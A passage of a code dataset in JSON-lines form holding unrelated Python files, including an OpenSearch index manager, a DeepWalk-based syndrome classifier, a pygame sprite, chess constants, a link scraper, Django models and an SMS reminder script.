data\n\t\tnew_holiday=pd.DataFrame(hol_dict)\n\n\t\thol_df=pd.concat(\n\t\t\t[hol_df.astype(str), new_holiday.astype(str)], ignore_index=True)\n\n\t\thol_df=hol_df.drop_duplicates()\n\n\t\thol_df.hdate=pd.to_datetime(hol_df.hdate, format=\"%m%d%Y\")\n\t\thol_df=hol_df.sort_values(\"hdate\")\n\t\thol_df.hdate=hol_df.hdate.dt.strftime(\"%m%d%Y\")\n\n\t\thol_obj.savedata(hol_df)\n\t\tprint(\"data has been updated into {}...\".format(hol_obj.tablePath))\n\t\t# return hol_df\n\n\tdef parse(self):\n\n\t\tprint(\"No parsing...\")\n\t\t\n\tdef cpyPri(self,fdate,tdate):\n\t\tself.copy_price(fdate,tdate)\n\t\tself.copy_price(fdate,tdate,\"bond/\")\n\t\tself.copy_price(fdate,tdate,\"option/\")\n","sub_path":"libs/ppsecurity.py","file_name":"ppsecurity.py","file_ext":"py","file_size_in_byte":21888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"224803458","text":"import pygame\n\nfrom src.setting import *\n\n\nclass Monster(object):\n\n def __init__(self, screen):\n self.blood = 100\n self.screen = screen\n\n self.image = pygame.image.load('D:/ship.bmp')\n self.rect = self.image.get_rect()\n self.screen_rect = screen.get_rect()\n # 将每艘新飞船放在屏幕底部中央\n self.rect.centerx = self.screen_rect.centerx\n self.rect.bottom = self.screen_rect.bottom\n self.move_right = False\n self.move_left = False\n self.move_up = False\n self.move_down = False\n self.unit_distance = monster_speed\n\n # 在飞船的属性 center 中存储小数值\n self.center = float(self.rect.centerx)\n\n def move(self):\n self.rect.centery += self.unit_distance\n","sub_path":"src/monster.py","file_name":"monster.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"629582488","text":"from tries.mappers.i_mapper import *\n# Internal\nfrom tries.domain.pipe import Pipe\n# Python\nimport sqlite3\n\n\n@mapperFor(Pipe)\nclass PipeMapper(IMapper):\n\n def find(self, primaryKey):\n\n with sqlite3.connect('example.db') as databaseSession:\n\n dataSets = databaseSession.execute(\"SELECT * FROM Pipes WHERE Id = ?\", (primaryKey, ))\n return self.handleDataSets(dataSets)\n \n\n def handleDataSets(self, dataSets):\n\n results = []\n\n for dataSet in dataSets:\n iterator = iter(dataSet)\n\n session = Pipe()\n\n session.primaryKey = next(iterator)\n session.start = next(iterator)\n session.stop = next(iterator)\n\n session.pipes = PipeMapper.find()\n\n results.append(session)\n\n return results","sub_path":"tries/mappers/pipe_mapper.py","file_name":"pipe_mapper.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"535301634","text":"class Pieces:\n XX = 7\n OO = 0\n WP = 1\n WR = 2\n WN = 3\n WB = 4\n WQ = 5\n WK = 6\n BP = -1\n BR = -2\n BN = -3\n BB = -4\n BQ = -5\n BK = -6\n\n\nqueen_rook_col = 2\nking_start_col = 6\nking_rook_col = 9\nking_start_pos = {False: (2, king_start_col), True: (9, king_start_col)}\nking_castled_kingside_pos = {False: (2, 8), True: (9, 8)}\nking_castled_queenside_pos = {False: (2, 4), True: (9, 4)}\nrook_start_pos = {False: ((2, queen_rook_col), (2, king_rook_col)), True: ((9, queen_rook_col), (9, king_rook_col))}\n\npiece_to_descriptor = {'WP': (True, 'pawn'), 'WR': (True, 'rook'), 'WN': (True, 'knight'), 'WB': (True, 'bishop'), 'WQ': (True, 'queen'), 'WK': (True, 'king'), 'BP': (False, 'pawn'),\n 'BR': (False, 'rook'), 'BN': (False, 'knight'), 'BB': (False, 'bishop'), 'BQ': (False, 'queen'), 'BK': (False, 'king')}\n\nvalue_to_piece = {0: '0 ', 1: 'WP', 2: 'WR', 3: 'WN', 4: 'WB', 5: 'WQ', 6: 'WK', -1: 'BP', -2: 'BR', -3: 'BN', -4: 'BB', -5: 'BQ', -6: 'BK'}\n\npromotion_color_to_value = {('k', True): 6, ('q', True): 5, ('r', True): 2, ('b', True): 4, ('n', True): 3, ('p', True): 1, ('k', False): -6, ('q', False): -5, ('r', False): -2, ('b', False): -4,\n ('n', False): -3, ('p', False): -1}\n\nvalue_to_piece_short = {0: 'wtf', 1: 'p', 2: 'r', 3: 'n', 4: 'b', 5: 'q', 6: 'k', -1: 'p', -2: 'r', -3: 'n', -4: 'b', -5: 'q', -6: 'k'}\n\nvalue_to_piece_img = {-1: '♟', -2: '♜', -3: '♞', -4: '♝', -5: '♛', -6: '♚', 1: '♙', 2: '♖', 3: '♘', 4: '♗', 5: '♕', 6: '♔', 0: '.'}\n\npossible_promotions = {True: (2, 3, 4, 5), False: (-2, -3, -4, -5)}\n\nblack_walkable_squares = {1, 2, 3, 4, 5, 6, 0}\nwhite_piece_values = {1, 2, 3, 4, 5, 6}\nwhite_walkable_squares = {-1, -2, -3, -4, -5, -6, 0}\nblack_piece_values = {-1, -2, -3, -4, -5, -6}\n\nis_enemy = {True: lambda piece_int: piece_int in black_piece_values, False: lambda piece_int: piece_int in white_piece_values}\n\nrook_directions = ((0, 1), (1, 0), (0, -1), (-1, 0))\nbishop_directions = ((1, 1), (1, -1), (-1, -1), (-1, 1))\nqueen_directions = ((0, 1), (1, 0), (0, -1), (-1, 0), (1, 1), (1, -1), (-1, -1), (-1, 1))\n\n\ndef get_knight_squares(row, col):\n return ((row - 1, col + 2), (row + 1, col + 2), (row + 2, col + 1), (row + 2, col - 1), (row + 1, col - 2), (row - 1, col - 2), (row - 2, col - 1), (row - 2, col + 1))\n\n\ndef get_king_squares(row, col):\n return ((row + 1, col - 1), (row + 1, col), (row + 1, col + 1), (row, col - 1), (row, col + 1), (row - 1, col - 1), (row - 1, col), (row - 1, col + 1))\n\n\ndef get_attacking_enemy_pawn_squares(row, col, is_white):\n return [(row - 1, col - 1), (row - 1, col + 1)] if is_white else [(row + 1, col - 1), (row + 1, col + 1)]\n","sub_path":"Pieces.py","file_name":"Pieces.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"456216595","text":"# Copyright The IETF Trust 2022, All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n__author__ = 'Slavomir Mazur'\n__copyright__ = 'Copyright The IETF Trust 2022, All Rights Reserved'\n__license__ = 'Apache License, Version 2.0'\n__email__ = 'slavomir.mazur@pantheon.tech'\n\nimport json\nimport os\nimport typing as t\nfrom configparser import ConfigParser\n\nfrom opensearchpy import OpenSearch\nfrom opensearchpy.exceptions import AuthorizationException, NotFoundError, RequestError\nfrom opensearchpy.helpers import parallel_bulk\n\nimport utility.log as log\nfrom opensearch_indexing.models.keywords_names import KeywordsNames\nfrom opensearch_indexing.models.opensearch_indices import OpenSearchIndices\nfrom utility.create_config import create_config\n\n\nclass OpenSearchManager:\n def __init__(self, opensearch: t.Optional[OpenSearch] = None):\n config = create_config()\n self.threads = int(config.get('General-Section', 'threads'))\n log_directory = config.get('Directory-Section', 'logs')\n self.opensearch_repo_name = config.get('General-Section', 'opensearch-repo-name')\n self.opensearch_request_timeout = int(config.get('General-Section', 'opensearch-request-timeout', fallback=60))\n self._setup_opensearch(config, opensearch)\n log_file_path = os.path.join(log_directory, 'jobs', 'opensearch-manager.log')\n self.logger = log.get_logger('opensearch-manager', log_file_path)\n\n def _setup_opensearch(self, config: ConfigParser, opensearch: t.Optional[OpenSearch] = None):\n if opensearch:\n self.opensearch = opensearch\n return\n opensearch_aws = config.get('DB-Section', 'opensearch-aws')\n opensearch_credentials = config.get('Secrets-Section', 'opensearch-secret').strip('\"').split(' ')\n opensearch_host_config = {\n 'host': config.get('DB-Section', 'opensearch-host', fallback='localhost'),\n 'port': config.get('DB-Section', 'opensearch-port', fallback='9200'),\n }\n if opensearch_aws == 'True':\n self.opensearch = OpenSearch(\n hosts=[opensearch_host_config],\n http_auth=(opensearch_credentials[0], opensearch_credentials[1]),\n scheme='https',\n )\n return\n self.opensearch = OpenSearch(hosts=[opensearch_host_config])\n\n def ping(self) -> bool:\n return self.opensearch.ping()\n\n def cluster_health(self) -> dict:\n \"\"\"Returns a brief representation of the cluster health\"\"\"\n return self.opensearch.cluster.health()\n\n def create_index(self, index: OpenSearchIndices):\n \"\"\"\n Create OpenSearch index with given name.\n\n Argument:\n :param index (OpenSearchIndices) Index to be created\n \"\"\"\n index_name = index.value\n index_json_name = f'initialize_{index_name}_index.json'\n index_json_path = os.path.join(os.environ['BACKEND'], 'opensearch_indexing/json/', index_json_name)\n with open(index_json_path, encoding='utf-8') as reader:\n index_config = json.load(reader)\n\n create_result = None\n try:\n create_result = self.opensearch.indices.create(index=index_name, body=index_config, ignore=400)\n except AuthorizationException:\n # https://discuss.elastic.co/t/forbidden-12-index-read-only-allow-delete-api/110282/4\n self.logger.exception('Problem with index creation')\n read_only_query = {'index': {'blocks': {'read_only_allow_delete': 'false'}}}\n self.opensearch.indices.put_settings(index=index_name, body=read_only_query)\n create_result = self.opensearch.indices.create(index=index_name, body=index_config, ignore=400)\n return create_result\n\n def index_exists(self, index: OpenSearchIndices) -> bool:\n \"\"\"\n Check if the index already exists.\n\n Argument:\n :param index (OpenSearchIndices) Index to be checked\n \"\"\"\n name = index.value\n return self.opensearch.indices.exists(name) or self.opensearch.indices.exists_alias(name)\n\n def get_indices(self) -> list:\n \"\"\"Returns a list of existing indices.\"\"\"\n return list(self.opensearch.indices.get_alias().keys())\n\n def put_index_mapping(self, index: OpenSearchIndices, body: dict) -> dict:\n \"\"\"\n Update mapping for provided index.\n\n Arguments:\n :param index (OpenSearchIndices) Index whose mapping to update\n :param body (dict) Mapping definition\n \"\"\"\n return self.opensearch.indices.put_mapping(index=index.value, body=body, ignore=403)\n\n def get_index_mapping(self, index: OpenSearchIndices) -> dict:\n \"\"\"\n Get mapping for provided index.\n\n Argument:\n :param index (OpenSearchIndices) Index whose mapping to get\n \"\"\"\n mapping = {}\n try:\n mapping = self.opensearch.indices.get_mapping(index=index.value)\n except NotFoundError:\n self.logger.exception('Index not found')\n return mapping\n\n def get_documents_count(self, index: OpenSearchIndices) -> int:\n \"\"\"\n Get number of documents stored in provided index.\n\n Argument:\n :param index (OpenSearchIndices) Index in which to search\n \"\"\"\n count = 0\n try:\n count = self.opensearch.count(index=index.value)['count']\n except NotFoundError:\n self.logger.exception('Index not found')\n return count\n\n def autocomplete(self, index: OpenSearchIndices, keyword: KeywordsNames, searched_term: str) -> list:\n \"\"\"\n Get list of the modules which will be returned as autocomplete after entering the 'searched_term' by the user.\n\n Arguments:\n :param index (OpenSearchIndices) Index in which to search\n :param keyword (KeywordsNames)\n :param searched_term (str) String entered by the user\n \"\"\"\n autocomplete_json_path = os.path.join(os.environ['BACKEND'], 'opensearch_indexing/json/completion.json')\n with open(autocomplete_json_path, encoding='utf-8') as reader:\n autocomplete_query = json.load(reader)\n\n autocomplete_query['query']['bool']['must'][0]['term'] = {keyword.value: searched_term.lower()}\n autocomplete_query['aggs']['groupby_module']['terms']['field'] = f'{keyword.value}.keyword'\n rows = self.opensearch.search(index=index.value, body=autocomplete_query)\n hits = rows['aggregations']['groupby_module']['buckets']\n\n result = [hit['key'] for hit in hits]\n\n return result\n\n def delete_from_index(self, index: OpenSearchIndices, module: dict) -> dict:\n \"\"\"\n Delete module from the index.\n\n Arguments:\n :param index (OpenSearchIndices) Target index from which to delete module\n :param module (dict) Document to delete\n \"\"\"\n self.logger.info(f'Deleting module: \"{module}\" from index: \"{index}\"')\n delete_module_query = self._get_name_revision_query(index, module)\n return self.opensearch.delete_by_query(index=index.value, body=delete_module_query, conflicts='proceed')\n\n def delete_from_indices(self, module: dict):\n for index in OpenSearchIndices:\n self.delete_from_index(index, module)\n\n def index_module(self, index: OpenSearchIndices, document: dict) -> dict:\n \"\"\"\n Creates or updates a 'document' in a selected index.\n\n Arguments:\n :param index (OpenSearchIndices) Target index to be indexed\n :param document (dict) Document to index\n \"\"\"\n # TODO: Remove this IF after reindexing and unification of both indices\n if index in [OpenSearchIndices.MODULES, OpenSearchIndices.YINDEX]:\n try:\n document['module'] = document.pop('name')\n except KeyError:\n pass\n\n return self.opensearch.index(index=index.value, body=document, request_timeout=self.opensearch_request_timeout)\n\n def bulk_modules(self, index: OpenSearchIndices, chunk):\n for success, info in parallel_bulk(\n client=self.opensearch,\n actions=chunk,\n index=index.value,\n thread_count=self.threads,\n request_timeout=self.opensearch_request_timeout,\n ):\n if not success:\n self.logger.error(f'OpenSearch document failed with info: {info}')\n\n def match_all(self, index: OpenSearchIndices) -> dict:\n \"\"\"\n Return the dictionary of all modules that are in the index.\n\n Argument:\n :param index (OpenSearchIndices) Index in which to search\n \"\"\"\n\n def _store_hits(hits: list, all_results: dict):\n for hit in hits:\n name = ''\n revision = hit['_source']['revision']\n organization = hit['_source']['organization']\n try:\n name = hit['_source']['name']\n except KeyError:\n name = hit['_source']['module']\n new_path = f'/var/yang/all_modules/{name}@{revision}.yang'\n if not os.path.exists(new_path):\n self.logger.error(f'{new_path} does not exists')\n\n key = f'{name}@{revision}/{organization}'\n if key not in all_results:\n all_results[key] = hit['_source']\n\n all_results = {}\n match_all_query = {'query': {'match_all': {}}}\n total_index_docs = 0\n opensearch_result = self.opensearch.search(index=index.value, body=match_all_query, scroll=u'1m', size=250)\n scroll_id = opensearch_result.get('_scroll_id')\n hits = opensearch_result['hits']['hits']\n _store_hits(hits, all_results)\n total_index_docs += len(hits)\n\n while opensearch_result['hits']['hits']:\n opensearch_result = self.scroll(scroll_id)\n\n scroll_id = opensearch_result.get('_scroll_id')\n hits = opensearch_result['hits']['hits']\n _store_hits(hits, all_results)\n total_index_docs += len(hits)\n\n self.clear_scroll(scroll_id)\n return all_results\n\n def get_module_by_name_revision(self, index: OpenSearchIndices, module: dict) -> list:\n get_module_query = self._get_name_revision_query(index, module)\n\n opensearch_result = self.opensearch.search(index=index.value, body=get_module_query, size=1000)\n\n return opensearch_result['hits']['hits']\n\n def get_sorted_module_revisions(self, index: OpenSearchIndices, name: str):\n query_path = os.path.join(os.environ['BACKEND'], 'opensearch_indexing/json/sorted_name_rev_query.json')\n with open(query_path, encoding='utf-8') as reader:\n sorted_name_rev_query = json.load(reader)\n\n # TODO: Remove this IF after reindexing and unification of both indices\n if index in [OpenSearchIndices.MODULES, OpenSearchIndices.YINDEX]:\n del sorted_name_rev_query['query']['bool']['must'][0]['match_phrase']['name.keyword']\n sorted_name_rev_query['query']['bool']['must'][0]['match_phrase'] = {'module.keyword': {'query': name}}\n else:\n sorted_name_rev_query['query']['bool']['must'][0]['match_phrase']['name.keyword']['query'] = name\n\n try:\n es_result = self.opensearch.search(index=index.value, body=sorted_name_rev_query)\n except RequestError:\n return []\n\n return es_result['hits']['hits']\n\n def get_node(self, module: dict) -> dict:\n query_path = os.path.join(os.environ['BACKEND'], 'opensearch_indexing/json/show_node.json')\n with open(query_path, encoding='utf-8') as reader:\n show_node_query = json.load(reader)\n\n show_node_query['query']['bool']['must'][0]['match_phrase']['module.keyword']['query'] = module['name']\n show_node_query['query']['bool']['must'][1]['match_phrase']['path']['query'] = module['path']\n show_node_query['query']['bool']['must'][2]['match_phrase']['revision']['query'] = module['revision']\n hits = self.opensearch.search(index=OpenSearchIndices.YINDEX.value, body=show_node_query)\n\n return hits\n\n def generic_search(\n self,\n index: t.Union[OpenSearchIndices, str],\n query: dict,\n response_size: t.Optional[int] = 0,\n use_scroll: bool = False,\n ):\n index = index if isinstance(index, str) else index.value\n if use_scroll:\n return self.opensearch.search(\n index=index,\n body=query,\n request_timeout=self.opensearch_request_timeout,\n scroll=u'10m',\n size=response_size,\n )\n return self.opensearch.search(\n index=index,\n body=query,\n request_timeout=self.opensearch_request_timeout,\n size=response_size,\n )\n\n def clear_scroll(self, scroll_id: str):\n return self.opensearch.clear_scroll(scroll_id=scroll_id, ignore=(404,))\n\n def scroll(self, scroll_id: str):\n return self.opensearch.scroll(\n scroll_id=scroll_id,\n scroll=u'10m',\n request_timeout=self.opensearch_request_timeout,\n )\n\n def document_exists(self, index: OpenSearchIndices, module: dict) -> bool:\n \"\"\"\n Check whether 'module' already exists in index - if count is greater than 0.\n\n Arguments:\n :param index (OpenSearchIndices) Index in which to search\n :param module (dict) Document to search\n \"\"\"\n if index == OpenSearchIndices.DRAFTS:\n get_query = self._get_draft_query(index, module)\n else:\n get_query = self._get_name_revision_query(index, module)\n\n try:\n es_count = self.opensearch.count(index=index.value, body=get_query)\n except RequestError:\n return False\n\n return es_count['count'] > 0\n\n def _get_name_revision_query(self, index: OpenSearchIndices, module: dict) -> dict:\n module_search_path = os.path.join(os.environ['BACKEND'], 'opensearch_indexing/json/module_search.json')\n with open(module_search_path, encoding='utf-8') as reader:\n name_revision_query = json.load(reader)\n\n # TODO: Remove this IF after reindexing and unification of both indices\n if index in [OpenSearchIndices.MODULES, OpenSearchIndices.YINDEX]:\n del name_revision_query['query']['bool']['must'][0]['match_phrase']['name.keyword']\n name_revision_query['query']['bool']['must'][0]['match_phrase'] = {\n 'module.keyword': {'query': module['name']},\n }\n else:\n name_revision_query['query']['bool']['must'][0]['match_phrase']['name.keyword']['query'] = module['name']\n name_revision_query['query']['bool']['must'][1]['match_phrase']['revision']['query'] = module['revision']\n\n return name_revision_query\n\n def _get_draft_query(self, index: OpenSearchIndices, draft: dict) -> dict:\n draft_search_path = os.path.join(os.environ['BACKEND'], 'opensearch_indexing/json/draft_search.json')\n with open(draft_search_path, encoding='utf-8') as reader:\n draft_query = json.load(reader)\n\n draft_query['query']['bool']['must'][0]['match_phrase']['draft']['query'] = draft['draft']\n return draft_query\n","sub_path":"opensearch_indexing/opensearch_manager.py","file_name":"opensearch_manager.py","file_ext":"py","file_size_in_byte":16026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"416105465","text":"import sys\r\nimport csv\r\nfrom main import *\r\n\r\ndef make_excel(out_file): \r\n with open(out_file, mode='wt', newline='') as out_file:\r\n w = csv.writer(out_file) #,delimiter=',')\r\n for x in children_list:\r\n col1 = x.first_name\r\n col2 = x.last_name\r\n col3 = x.age()\r\n col4 = x.gender\r\n col5 = x.address\r\n col6 = x.trustee_list[0].first_name\r\n col7 = x.trustee_list[0].last_name\r\n col8 = x.trustee_list[0].phone\r\n line = [col1, col2, col3, col4, col5, col6, col7, col8]\r\n w.writerow(line)\r\n\r\nif __name__ == \"__main__\":\r\n out_file = sys.argv[1]\r\n result = make_excel(out_file)","sub_path":"original_csv.py","file_name":"original_csv.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"8994883","text":"import networkx as nx\nimport pandas as pd\nimport numpy as np\nimport random\nfrom tqdm import tqdm\n\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\nfrom sklearn.neural_network import MLPClassifier\n\n\nrandom.seed(2)\n\nkg = pd.read_csv(\"./data/syndrome9.csv\")\nG = nx.from_pandas_edgelist(kg, 'syndrome', 'symptom', edge_attr=None, create_using=nx.Graph())\n\npatient1 = pd.read_excel('./data/crf1_4_10.xlsx')\npatient2 = pd.read_excel('./data/crf2_4_10.xlsx')\n\nname = list(patient1.columns)[8: ]\nprint('患者症状名称：', name)\n\nkg_name = list(set(list(kg['syndrome']) + list(kg['symptom'])))\nprint('知识图谱节点名称：', kg_name)\n\n# 空值处理\ndef padnan(metrix):\n for i in range(metrix.shape[0]):\n for j in range(metrix.shape[1]):\n if np.isnan(metrix[i, j]):\n metrix[i, j] = 0\n return metrix\n\npatient1 = padnan(np.array(patient1))\npatient2 = padnan(np.array(patient2))\n\npatient = np.concatenate((patient1, patient2), axis = 0)\nprint('患者特征矩阵：', patient.shape)\n\npatient = list(patient)\n# randnum = random.randint(0, 100)\nrandnum = 2 # 2,4,7,11\nrandom.seed(randnum)\nrandom.shuffle(patient)\npatient = np.array(patient)\n\n# 划分训练集测试集\ntrain_patient = patient[0: int(len(patient)*0.6)]\nval_patient = patient[int(len(patient)*0.6): int(len(patient)*0.8)]\ntest_patient = patient[int(len(patient)*0.8): ]\n\n# 负类样本增强\ntrain_patient_neg = []\nfor i in range(len(train_patient[:, 0:4])):\n if list(train_patient[:, 0:4][i]).index(max(train_patient[:, 0:4][i])) != 1:\n train_patient_neg.append(train_patient[i])\n\ntrain_patient_neg = np.array(1 * train_patient_neg) # 增强1次\ntrain_patient = np.concatenate((train_patient, train_patient_neg), axis = 0)\n\nprint('训练集样本数：', len(train_patient))\nprint('验证集样本数：', len(val_patient))\nprint('测试集样本数：', len(test_patient))\n\npatient = np.concatenate((train_patient, val_patient, test_patient), axis = 0)\n\n# onehot label转整数\nlabel = patient[:, 0:4]\npatient_label = []\nfor i in range(len(label)):\n patient_label.append(list(label[i]).index(max(label[i])))\n\nfor i in range(len(patient_label)):\n if patient_label[i] != 1:\n patient_label[i] = 0\n\npatient_feat = patient[:, 8:]\n# print(patient_feat)\n\n# 患者症状矩阵转患者症状名称\npatient_feat_name = []\nfor i in range(len(patient_feat)):\n temp = []\n for j in range(len(patient_feat[i])):\n if patient_feat[i, j] != 0:\n temp.append(name[j])\n patient_feat_name.append(temp)\n\nprint(patient_feat_name)\n\ndef get_randomwalk(node, path_length):\n random_walk = [node]\n\n for i in range(path_length - 1):\n temp = list(G.neighbors(node))\n temp = list(set(temp) - set(random_walk))\n if len(temp) == 0:\n break\n\n random_node = random.choice(temp)\n random_walk.append(random_node)\n node = random_node\n\n return random_walk\n\n# print(get_randomwalk('space exploration', 10))\n\n# get list of all nodes from the graph\nall_nodes = list(G.nodes())\n\nrandom_walks = []\nfor n in tqdm(all_nodes):\n for i in range(5):\n random_walks.append(get_randomwalk(n, 10))\n\n# count of sequences\nprint(len(random_walks))\nprint('random_walks list:', random_walks)\n\nfrom gensim.models import Word2Vec\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nmodel = Word2Vec(size=16, window = 10, sg = 1, hs = 0,\n negative = 10, # for negative sampling\n alpha=0.03, min_alpha=0.0007, workers = 1,\n seed = 2)\n\nmodel.build_vocab(random_walks, progress_per=2)\n\nmodel.train(random_walks, total_examples = model.corpus_count, epochs=50, report_delay=1)\n\n# terms = list(G.nodes)\n\n# print('***', model.wv.vectors)\nprint('气虚血瘀', model.wv['气虚血瘀'])\n\nembeddings = {}\nfor i in range(len(kg_name)):\n embeddings[kg_name[i]] = model.wv[kg_name[i]]\n\n# print(embeddings)\n\n# print(embeddings['气虚血瘀'])\n\npatient_embed = []\nfor i in range(len(patient_feat_name)):\n temp = []\n for j in range(len(patient_feat_name[i])):\n if patient_feat_name[i][j] in embeddings.keys():\n temp.append(embeddings[patient_feat_name[i][j]].reshape(1, -1))\n patient_embed.append(np.array(temp).mean(0))\n\npatient_embed = np.array(patient_embed).squeeze()\n\nprint(patient_embed.shape)\n\ntrain_X = patient_embed[: 360]\ntrain_Y = patient_label[: 360]\n\ntest_X = patient_embed[360 + 89:]\ntest_Y = patient_label[360 + 89:]\n\nmlp = MLPClassifier(hidden_layer_sizes=(), max_iter=150, random_state=2)\n\nmlp.fit(train_X, train_Y)\n\npred = mlp.predict(test_X)\nprint('准确率：', accuracy_score(pred, test_Y))\n\nconf_mat = confusion_matrix(test_Y, pred)\nprint('混淆矩阵：', conf_mat)\n\nprint(classification_report(test_Y, pred))","sub_path":"DeepWalk_embedding.py","file_name":"DeepWalk_embedding.py","file_ext":"py","file_size_in_byte":4850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"501773922","text":"from gd_utils import get_tree_from_str\n\ndef read_interval_file(filename):\n gt_list, st_list = [], []\n try:\n t = [line.strip() for line in open(filename, \"r\").readlines() if len(line.strip()) and line.strip()[0] != '#']\n gt_list, st_list = t[1:-1], t[-1]\n except IOError as e:\n print(filename, \" I/O error({0}): {1}\".format(e.errno, e.strerror))\n quit()\n return gt_list, st_list\n\n\ndef check(species, genetreelist):\n counter = 0\n for g in genetreelist:\n ok = False\n gt = get_tree_from_str(g)\n leaves = [x.name for x in gt.get_terminals()]\n if species[0] in leaves:\n ok = True\n if species[1] in leaves:\n ok = True\n if ok:\n counter = counter + 1\n return counter\n\n\nif __name__ == \"__main__\":\n gtl, st = read_interval_file(\"tests/treefam.txt\")\n stree = get_tree_from_str(st)\n species = [x.name for x in stree.get_terminals()]\n\n # for s in species:\n # print(s, check([s], gtl))\n print(check([\"ORYSA\",\"ARATH\"], gtl))","sub_path":"gd_io.py","file_name":"gd_io.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"613528437","text":"import requests\nimport bs4\n'''\npip install lxml # lxml parser - needs to be installed but not imported ---only if using lxml as parser rather than html.parser\n\nhttps://stackoverflow.com/questions/46490626/getting-all-links-from-a-page-beautiful-soup\n\n'''\nurl = 'http://www.acontecaeventos.com.br/marketing-promocional-sao-paulo'\nr = requests.get(url)\nhtml_content = r.text\nsoup = bs4.BeautifulSoup(html_content, 'html.parser') # or 'lxml'\nlinks = soup.find_all('a')\n\nfor link in links:\n print(type(link)) # returns \n print(link)\n print(link['href'])\n #print(link.get('href')) #same","sub_path":"Projects/Intro_and_ATBSwPy/web_scraping2.py","file_name":"web_scraping2.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"622480543","text":"from django.db import models\nfrom pages.models import BaseModule\nfrom pages.models import BasePanel\n\nfrom filer.fields.image import FilerImageField\n\n\nclass SingleVideoModule(BaseModule):\n\t@property\n\tdef module_type(self):\n\t\treturn \"single-video\"\n\n\timage = FilerImageField(null=True, blank=True)\n\tvideo_embed = models.TextField()\n\nclass DoubleVideoModule(BaseModule):\n\t@property\n\tdef module_type(self):\n\t\treturn \"double-video\"\n\n\timage_01 = FilerImageField(related_name=\"image_01_set\", null=True, blank=True)\n\tvideo_01_embed = models.TextField()\n\tvideo_01_title = models.CharField(max_length=50)\n\n\timage_02 = FilerImageField(related_name=\"image_02_set\", null=True, blank=True)\n\tvideo_02_embed = models.TextField()\n\tvideo_02_title = models.CharField(max_length=50)","sub_path":"django/vfestival/apps/videos/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"217663101","text":"import signal\nimport json\nimport socket\nimport sys\nimport subprocess\nfrom threading import Thread\nimport time as timer\n\n#this function is copied and pasted, no shit I mean....\ndef text2int(textnum, numwords={}):\n if not numwords:\n units = [\n \"zero\", \"one\", \"two\", \"three\", \"four\", \"five\", \"six\", \"seven\", \"eight\",\n \"nine\", \"ten\", \"eleven\", \"twelve\", \"thirteen\", \"fourteen\", \"fifteen\",\n \"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\",\n ]\n\n tens = [\"\", \"\", \"twenty\", \"thirty\", \"forty\", \"fifty\", \"sixty\", \"seventy\", \"eighty\", \"ninety\"]\n\n scales = [\"hundred\", \"thousand\", \"million\", \"billion\", \"trillion\"]\n\n numwords[\"and\"] = (1, 0)\n for idx, word in enumerate(units): numwords[word] = (1, idx)\n for idx, word in enumerate(tens): numwords[word] = (1, idx * 10)\n for idx, word in enumerate(scales): numwords[word] = (10 ** (idx * 3 or 2), 0)\n\n ordinal_words = {'first':1, 'second':2, 'third':3, 'fifth':5, 'eighth':8, 'ninth':9, 'twelfth':12}\n ordinal_endings = [('ieth', 'y'), ('th', '')]\n\n textnum = textnum.replace('-', ' ')\n\n current = result = 0\n for word in textnum.split():\n if word in ordinal_words:\n scale, increment = (1, ordinal_words[word])\n else:\n for ending, replacement in ordinal_endings:\n if word.endswith(ending):\n word = \"%s%s\" % (word[:-len(ending)], replacement)\n\n if word not in numwords:\n raise Exception(\"Illegal word: \" + word)\n\n scale, increment = numwords[word]\n\n current = current * scale + increment\n if scale > 100:\n result += current\n current = 0\n return result + current\n\ndef wait_and_process(time):\n print(\"IN THREAD 4 REAL\")\n timer.sleep(time)\n bash_command = 'python send_sms.py \"Here is your reminder from Dylan!\"'\n output = subprocess.check_output(bash_command, shell=True)\n\ndef remind_me(live_command):\n index = live_command.find('remind me')\n print(live_command)\n print(len(live_command))\n delay = live_command[index + 10:].split(' ')\n print(delay[0] + \" \" + delay[1])\n try:\n time = text2int(delay[0])\n unit = delay[1]\n if unit.find('second') != -1:\n th = Thread(target = wait_and_process, args =[time])\n th.start()\n elif unit.find('minute') != -1:\n total = time * 60\n th = Thread(target = wait_and_process, args=[total])\n th.start()\n elif unit.find('hour') != -1:\n total = time*3600\n th = Thread(target = wait_and_process, args=[total])\n th.start()\n\n\n except Exception as e:\n print(\"problem occured with the remind me function\")\n\nprint(\"start!!!!!!!!!\")\n\nremind_me(\"remind me five seconds\")\nremind_me(\"remind me one minute\")\n","sub_path":"server/test_sms.py","file_name":"test_sms.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"45665877","text":"import re\nimport time\nimport datetime\nimport queue\nimport random\nimport urllib\nimport 